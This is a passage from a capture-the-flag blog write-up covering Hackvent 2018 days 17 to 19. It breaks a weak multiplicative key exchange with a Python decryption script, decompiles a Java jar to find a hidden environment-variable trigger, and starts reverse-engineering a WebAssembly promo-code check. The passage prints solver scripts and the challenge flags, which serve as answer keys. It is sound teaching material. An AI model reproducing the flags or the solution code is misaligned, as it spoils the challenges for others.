server.run()\n<\/pre><\/div>\n\n<p>At first the server calculates a secret random value <i>x<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; first-line: 61; title: ; notranslate\" title=\"\">\ndef get_random_x(self):\n    return secrets.SystemRandom().randint(g, p-2)\n<\/pre><\/div>\n\n<p>This value is used to generate the server&#8217;s value for the keyexchange (this value is called <i>a<\/i> in the provided values from the challenge description):\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; first-line: 64; title: ; notranslate\" title=\"\">\ndef calculate_y(self):\n    return (self.g * self.x) % self.p\n<\/pre><\/div>\n\n<p>In order to decrypt the message from the challenge description we need to find <i>x<\/i>, since this is the only value we do not know.<\/p>\n<p>This can be done by solving the equation used to generate the server&#8217;s value (<i>a<\/i>) for the keyexchange:\n<\/p>\n<pre>a = (g * x) % p<\/pre>\n<p>The values for <i>g<\/i> and <i>p<\/i> can be taken from the python-script. The value of <i>a<\/i> is contained in the challenge description.<\/p>\n<p>Rearranging the equation to the following:\n<\/p>\n<pre>g*x - a = 0 (mod p)<\/pre>\n<p>&#8230; we can use the same online equation solver we used on <a href=\"#hv18_14\">day 14<\/a> (<a href=\"https:\/\/www.alpertron.com.ar\/QUADMOD.HTM\" target=\"_new\">https:\/\/www.alpertron.com.ar\/QUADMOD.HTM<\/a>) to calculate the actual value of x:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-989\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day17_01-1024x583.png\" alt=\"\" width=\"900\" height=\"513\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day17_01-1024x583.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day17_01-300x171.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day17_01-768x437.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day17_01.png 1680w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Now we have all values required to decrypt the message:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day17# cat decrypt.py \n#!\/usr\/bin\/env python\n\nimport base64\nimport hashlib\nfrom Crypto import Random\nfrom Crypto.Cipher import AES\n\ndef unpad(x):\n  return x&#x5B;:-ord(x&#x5B;len(x)-1:])]\n\n\n# values from source-file: g, p\ng = 3\np = 0x00e1a540d72bb311db26ea6e58b7dc207cf55d0c3a90d7c1f74e7fcb67c7af097d99c73e002c9266e70cbdf735ebd864ea279a0a4d41dd6537837bfc07d84943a376d163ec20a51dd6073dbfc34cbdce9d88ad22a9bb72f5bb143b5c9e531ab100590b9f97d1e9c7a3dfe7961fd6e86078ad43918b47816925803db47862e5f69c90078c6dc287fc6cf7742a9f1717d828a610fe469c92f34783351b21ac1ec988eae0e16ff4ef89c1a19ccd7e3b5cb0c14e0424dfde338789923013aeb7791e19ba378cb2e0e0b318f46865d438ac53999f69f0ae8045d2ff40821b5fdcb0a3b9942f29a0cd8e55febd0ee9006d936d51335a2e63b6affbed6175e1228a53d6a9\n\n# values from interception: b, message\nb = 15228628318558071728245462802366236848375416102820239825350329247148900182647243994904519787528142824353837070194785550898962097219309344881183948914850354340893035399529028331238911753358245357848436203268982345430735846016484221944423499956958406189854969330305125479065873712331269870135028162018087451460656203085824963123310757985362748654204595136594184636862693563510767025800252822776154986386637346156842972134635578534633722315375292616298410141343725683471387328655106920310236007034951004329720717533666052625540760911360823548318810161367913281234234193760867208897459774865037319252137821553407707977377 \nmessage = \"jqMYIn4fzSqzIXArwJm\/kPitNhf4lwhL0yPRKpF+NYXyPmhoEwNG\/k2L5vCZqFWNPvTzisnu93\/8uK\/PZnnCGg==\"\n\n# calculated value using a (from interception) and p: x\nx = 15354042672206252628490224264690454581428691371145769559092814316529005534284986825328196215781584589569502108538299687671360602614840353757694181909133163897573492858461087503205334476595470229312365805497727162669571762705941038047806750508918673276003220409988850130107551639956795373407913778173166953425544410500723037568398426599926027445943026206335288371772534327534782843934568830300014348181115075724953280567387710366794375659264751027802164342021881082026175781378370505510594344477625073089451475079404319398766824697036100569366992915850876267412204007674638070052231495975910539370211916959396581341187\n\n# generate key and iv (see source-file)\nkey = str((b*x) % p)\niv  = key&#x5B;0:16]\nkey = hashlib.md5(key).hexdigest()\n\n# decrypt message\ncipher = AES.new(key, AES.MODE_CBC, iv)\nct = message.decode('base64')\nplaintext = unpad(cipher.decrypt(ct)).decode('utf-8')\nprint(plaintext)\n<\/pre><\/div>\n\n<p>Running the script yields the flag:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day17# .\/decrypt.py \nCongrats! Now take the flag: HV18-DfHe-KE1s-w44y-b3tt-3r!!\n<\/pre><\/div>\n\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-DfHe-KE1s-w44y-b3tt-3r!!<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day18\">Day 18: Be Evil<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-832\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: inik<\/span><br>\n<i>Only today and for this challenge, please.<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">\n<ul>\n<li>Download evil.jar<\/li>\n<li>java -jar evil.jar<\/li>\n<\/ul>\n<p>Thanks to scal for the artwork!<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Running the .jar file shows a skeptical smiley:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-992\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_03.png\" alt=\"\" width=\"579\" height=\"395\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_03.png 579w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_03-300x205.png 300w\" sizes=\"(max-width: 579px) 100vw, 579px\" \/><\/p>\n<p>When clicking on the smiley, a prompt <i>Are you evil?<\/i> with the possible answers <i>No<\/i> and <i>Go away<\/i> is displayed.<\/p>\n<p>When choosing <i>No<\/i> the image changes to a happy smiley:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-993\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_04.png\" alt=\"\" width=\"312\" height=\"349\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_04.png 312w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_04-268x300.png 268w\" sizes=\"(max-width: 312px) 100vw, 312px\" \/><\/p>\n<p>If <i>Go away<\/i> is selected, the image changes to a sad smiley:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-996\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_05.png\" alt=\"\" width=\"312\" height=\"349\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_05.png 312w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_05-268x300.png 268w\" sizes=\"(max-width: 312px) 100vw, 312px\" \/><\/p>\n<p>I started by decompiling the .jar file using <i>JD-GUI<\/i>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-994\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_01.png\" alt=\"\" width=\"520\" height=\"379\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_01.png 520w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_01-300x219.png 300w\" sizes=\"(max-width: 520px) 100vw, 520px\" \/><\/p>\n<p>Almost all of the classes only contain a single attribute called <i>b<\/i> (a byte-array):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-995\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_02-1024x640.png\" alt=\"\" width=\"800\" height=\"500\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_02-1024x640.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_02-300x188.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_02-768x480.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_02.png 1051w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The actual loading of the classes is done within the <i>EvilLoader<\/i> class by calling <i>defineClass<\/i> on the byte-array of the appropriate class:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-997\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_06-1024x853.png\" alt=\"\" width=\"800\" height=\"666\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_06-1024x853.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_06-300x250.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_06-768x640.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_06.png 1096w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>In order to decompile the classes, which are loaded via the <i>EvilLoader<\/i>, we start by saving the byte array to a file. I used the following python-script (simply copy\/pasting the contents of the byte-array from JD-GUI):\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day18# cat writeClass_EvilAction.py\n#!\/usr\/bin\/env python\n\nb = &#x5B;-54, -2, -70, -66, 0, 0, 0, 51, 0, 126, 7, 0, 2, 1, 0, 28, 104, 97, 99, ... ]\n\nout = ''\nfor e in b:\n  out += chr(e & 0xff)\n\nf = open('EvilAction.class', 'wb')\nf.write(out)\nf.close()\n<\/pre><\/div>\n\n<p>In order to decompile the newly written .class file I used <i>CFR<\/i> instead of <i>JD-GUI<\/i>, since it worked properly:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: java; title: ; notranslate\" title=\"\">\nC:\\Users\\stef\\Documents\\hv18\\day18&gt;java -jar cfr-0.138.jar EvilAction.class\n\/*\n * Decompiled with CFR 0.138.\n *\n * Could not load the following classes:\n *  hackvent2018.evil.EvilEvent\n *  hackvent2018.evil.EvilImages\n *  hackvent2018.evil.EvilType\n *  hackvent2018.evil.NotEvil\n *\/\npackage hackvent2018.evil;\n\nimport hackvent2018.evil.EvilEvent;\nimport hackvent2018.evil.EvilImages;\nimport hackvent2018.evil.EvilType;\nimport hackvent2018.evil.NotEvil;\nimport java.util.Arrays;\nimport java.util.Set;\nimport javax.swing.ImageIcon;\nimport javax.swing.JOptionPane;\n\npublic class EvilAction {\n    private byte&#x5B;] b = new byte&#x5B;]{-64, 15, 15, 10, 82, 79, 76, 67, 76};\n\n    public String&#x5B;] getMenu() {\n        for (String s : System.getenv().keySet()) {\n            if (!Arrays.equals(this.b, this.xor(s.getBytes(), NotEvil.b))) continue;\n            String&#x5B;] t = new String&#x5B;]{&quot;No&quot;, &quot;Go away&quot;, &quot;Yes&quot;};\n            return t;\n        }\n        String&#x5B;] u = new String&#x5B;]{&quot;No&quot;, &quot;Go away&quot;};\n        return u;\n    }\n\n    public ImageIcon respond1(int answer) {\n        switch (answer) {\n            case 0: {\n                return EvilImages.getIcon((EvilType)EvilType.NOTEVIL);\n            }\n            case 1: {\n                return EvilImages.getIcon((EvilType)EvilType.SAD);\n            }\n            case 2: {\n                for (String s : System.getenv().keySet()) {\n                    if (!Arrays.equals(this.b, this.xor(s.getBytes(), NotEvil.b))) continue;\n                    return EvilImages.getIcon((EvilType)EvilType.EVIL);\n                }\n                return EvilImages.getIcon((EvilType)EvilType.NOTEVIL);\n            }\n        }\n        return EvilImages.getIcon((EvilType)EvilType.SAD);\n    }\n\n    public void respond2(int answer) {\n        if (answer == 2) {\n            for (String s : System.getenv().keySet()) {\n                if (!Arrays.equals(this.b, this.xor(s.getBytes(), NotEvil.b))) continue;\n                Object&#x5B;] buttons2 = new String&#x5B;]{&quot;Cool&quot;};\n                JOptionPane.showOptionDialog(null, EvilEvent.eventResult(), &quot;Evilist&quot;, -1, 1, null, buttons2, buttons2&#x5B;0]);\n            }\n        }\n    }\n\n    private byte&#x5B;] xor(byte&#x5B;] c, byte&#x5B;] b) {\n        byte&#x5B;] x = new byte&#x5B;c.length];\n        for (int i = 0; i &lt; c.length; ++i) {\n            x&#x5B;i] = (byte)(c&#x5B;i] ^ b&#x5B;i]);\n        }\n        return x;\n    }\n}\n<\/pre><\/div>\n\n<p>Within the method <i>getMenu<\/i> we can see, that a third answer is added to the prompt (<i>No<\/i>, <i>Go away<\/i> and <b>Yes<\/b>), if the following condition is met for any environment variable (<i>String s : System.getenv().keySet()<\/i>):\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: java; title: ; notranslate\" title=\"\">\nif (!Arrays.equals(this.b, this.xor(s.getBytes(), NotEvil.b))) continue;\n<\/pre><\/div>\n\n<p><i>this.b<\/i> is another byte-array:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: java; title: ; notranslate\" title=\"\">\nprivate byte&#x5B;] b = new byte&#x5B;]{-64, 15, 15, 10, 82, 79, 76, 67, 76};\n<\/pre><\/div>\n\n<p>The method <i>this.xor<\/i> takes two byte-arrays and XORs them (only taking into account the length of the first parameter <i>c<\/i>).<\/p>\n<p>Basically speaking this means, that the environment variable <i>s<\/i> must equal <i>this.b<\/i> being XORed with <i>NotEvil.b<\/i>.<\/p>\n<p>We can easily copy <i>this.b<\/i> and <i>NotEvil.b<\/i> to another python script in order to do this:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day18# cat xorEnvironmentVar.py\n#!\/usr\/bin\/env python\n\nthis_b    = &#x5B;-64, 15, 15, 10, 82, 79, 76, 67, 76]\nNotEvil_b = &#x5B;-119, 80, 78, 71, 13, 10, 26, 10, 0] # we only need the size of this_b\n\nenv = ''\nfor i in range(len(this_b)):\n  env += chr(this_b&#x5B;i] ^ NotEvil_b&#x5B;i])\n\nprint(env)\n<\/pre><\/div>\n\n<p>Running the script reveals, what the name of the environment variable to be set should look like:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day18# .\/xorEnvironmentVar.py\nI_AM_EVIL\n<\/pre><\/div>\n\n<p>Thus we only need to set an environment variable called <i>I_AM_EVIL<\/i> and rerun the .jar file:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-998\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_07.png\" alt=\"\" width=\"941\" height=\"384\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_07.png 941w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_07-300x122.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_07-768x313.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>After clicking on the smiley now, we get a prompt with three possible answers. Selecting <i>Yes<\/i> displays an evil smiley and the flag:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-999\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_08.png\" alt=\"\" width=\"316\" height=\"487\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_08.png 316w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day18_08-195x300.png 195w\" sizes=\"(max-width: 316px) 100vw, 316px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-ztZB-nusz-r43L-wopV-ircY<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day19\">Day 19: PromoCode<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-832\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: inik<\/span><br>\n<i>Get your free flag<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">Santa is in good mood an gives away flags for free.<p><\/p>\n<p><\/p>\n<p>Get vour free flag <a href=\"https:\/\/hackvent.hacking-lab.com\/Pr0m0C0de_new\/promo.html\" target=\"_new\">here<\/a><\/p>\n<hr>\n<p>Important:<\/p>\n<p>2018-12-19 20:05 CET: A slightly easier challenge has been released. Watch for the changed link above. Respect to those who solved it the 1337-way!<\/p>\n<p>Time for getting full points will also be extended by 24h.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The challenge has been updated on 20:05 CET (see note above). The old (harder) challenge can be found <a href=\"https:\/\/hackvent.hacking-lab.com\/Pr0m0C0de\/promo.html\" target=\"_new\">here<\/a>. I was working on <a href=\"https:\/\/hackvent.hacking-lab.com\/Pr0m0C0de_new\/promo.html\" target=\"_new\">the updated one<\/a>.<\/p>\n<p>The website shows an input-field, in which a promo code is supposed to be entered:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-1018\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_01-1024x688.png\" alt=\"\" width=\"525\" height=\"353\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_01-1024x688.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_01-300x201.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_01-768x516.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_01.png 1212w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/p>\n<p>When entering some gibberish, a try-harder flag is displayed:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1019\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_02.png\" alt=\"\" width=\"449\" height=\"463\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_02.png 449w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_02-291x300.png 291w\" sizes=\"(max-width: 449px) 100vw, 449px\" \/><\/p>\n<p>Let&#8217;s have a look at the source-code:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1020\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_03-1024x695.png\" alt=\"\" width=\"800\" height=\"543\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_03-1024x695.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_03-300x204.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_03-768x522.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_03.png 1212w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The highlighted part of the javascript code outputs the flag by calling a function <i>checkPromoCode<\/i> through <i>Module.ccall<\/i> and turning the return value into an actual flag by calling <i>Pointer_stringify<\/i>.<\/p>\n<p>This function along with the other called functions must be declared within the included <i>promo.js<\/i>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1021\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_04-1024x695.png\" alt=\"\" width=\"900\" height=\"611\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_04-1024x695.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_04-300x204.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_04-768x522.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_04.png 1212w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Uff, a lot of source code. Basically the file seems to set up an environment for a webassembly. <a href=\"https:\/\/de.wikipedia.org\/wiki\/WebAssembly\" target=\"_new\">WebAssembly<\/a> (wasm) is a bytecode, which can be executed by the browser. But there is no .wasm file being included here? Let&#8217;s reload the page and have a look at the browser&#8217;s network-tab:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1022\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_05-1024x695.png\" alt=\"\" width=\"800\" height=\"543\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_05-1024x695.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_05-300x204.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_05-768x522.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_05.png 1212w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Actually there is a <i>promo.wasm<\/i> file here! It is dynamically fetched by the <i>promo.js<\/i>.<\/p>\n<p>Usually I am working with <i>chrome<\/i>, but it turned out that <i>firefox<\/i> did a better job disassembling the webassembly:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1076\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_06-1024x480.png\" alt=\"\" width=\"900\" height=\"422\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_06-1024x480.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_06-300x141.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_06-768x360.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_06.png 1492w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The highlighted area shows the promising function <i>checkPromoCode<\/i>. The declaration of the function can be found by searching for the numerical name (<i>$func22<\/i>):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1024\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_07-1024x376.png\" alt=\"\" width=\"900\" height=\"331\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_07-1024x376.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_07-300x110.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_07-768x282.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_07.png 1367w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Now we can set a breakpoint by simply clicking on the appropriate line and trigger it by entering something in the validation field:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1025\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_08-1024x416.png\" alt=\"\" width=\"900\" height=\"366\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_08-1024x416.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_08-300x122.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_08-768x312.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_08.png 1492w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>From this point on I single-stepped through the assembly lines and wrote down a python-like pseudo code in order to unterstand, what the function does (this are only my raw notes):\n<\/p>\n<pre>var0 = 5246776\nglobal10 = 3920\nvar49 = global10; \/\/3920\nglobal11 = 5246768\nglobal10 += 160 \/\/ 4080\nif (..)\n\nvar23 = var49 + 96 \/\/ 4016\nvar34 = var49 + 32 \/\/ 3952\nvar43 = var49 \/\/ 3920\nvar12 = var0 \/\/ 5246776\n\ndata[var23] = qword[flag] \/\/ 4016\t\"\\u001feS\\u000c\\u0018\\u001fz!\\u0004A:!\\u0006rY=IVv\\u0018&lt;C:+A6\"\ndata[var23+8] = qword[flag+8] \/\/ 4024\t\"\\u0004A:!\\u0006rY=IVv\\u0018&lt;C:+A6\"\ndata[var23+16] = qword[flag+16] \/\/ 4032\t\"IVv\\u0018&lt;C:+A6\"\ndata[var23+24] = dword[flag+24] \/\/ 4040\t\"A6\"\ndata[var23+28] = word[flag+28]  \/\/ 4044\t\"\\\\t\"\n\n\/\/ var34 = 3952\ndata[var34] = qword[1056]\ndata[var34+8] = qword[1064]\ndata[var34+16] = qword[1072]\n..\ndata[var34+48] = qword[1056+48]\ndata[var34+56] = dword[1056+56]\n\n\/\/ var43 = 3920\ndata[var43] = qword[1120]\ndata[var43+8] = qword[1120+8]\ndata[var43+16] = qword[1120+16]\ndata[var43+24] = dword[1120+24]\ndata[var43+28] = word[1120+28]\n\nvar2 = strlen_func32(var12, var47, var47) \/\/ 5246776, 0, 0 --&gt; 3 strlen!\nif (var2 != 15) return;\n...<\/pre>\n<p>At first the function copies some data around. The first noticeable part is the following:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1026\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_09-1024x392.png\" alt=\"\" width=\"900\" height=\"344\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_09-1024x392.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_09-300x115.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_09-768x294.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_09.png 1072w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The function <i>$func32<\/i> basically is <i>strlen<\/i>, which is called on the entered promo code. If the return value is not equal to 15, no further processing of the input takes place. This means that the promo code must be 15 characters long.<\/p>\n<p>With this new finding I single-stepped the function with a 15 characters long input, further writing my pseudo code:\n<\/p>\n<pre>...\n\nfor (var44 = 0; var44 &lt; strlen(5246776); var44++) {\n  var8 = var12; \/\/ 5246776\n  var9 = var44; \/\/ i=0\n  var10 = [str+i];\n  var11 = byte[str+i];\n  var13 = (var11&lt;&lt;24)&gt;&gt;24;\n  var14 = var13^0x5a; \/\/ 90\n  var45 = var14;\n  var15 = var45;\n  var16 = var44;\n  var17 = var34 + (var16&lt;&lt;2);\n  var18 = data[var17];\n  if (var15 == var18) ...\n}<\/pre>\n<p>The following lines caught my attention:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1027\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_10-1024x491.png\" alt=\"\" width=\"900\" height=\"432\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_10-1024x491.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_10-300x144.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_10-768x368.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_10.png 1313w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p><i>$var13<\/i> holds a single character of the entered promo code. This character is XORed with <i>90<\/i> and later on compared to the value of <i>$var18<\/i>, which is read from memory via the instruction <i>i32.load<\/i>. If the comparison fails, there is no further processing of the input.<\/p>\n<p>This simply means that each character of the promo code (stored in <i>$var13<\/i>) must equal <i>90^$var18<\/i>.<\/p>\n<p>In order to use this to determine the valid promo code, we set a breakpoint on the line after <i>$var18<\/i> has been set:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1028\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_11-1024x341.png\" alt=\"\" width=\"900\" height=\"300\" 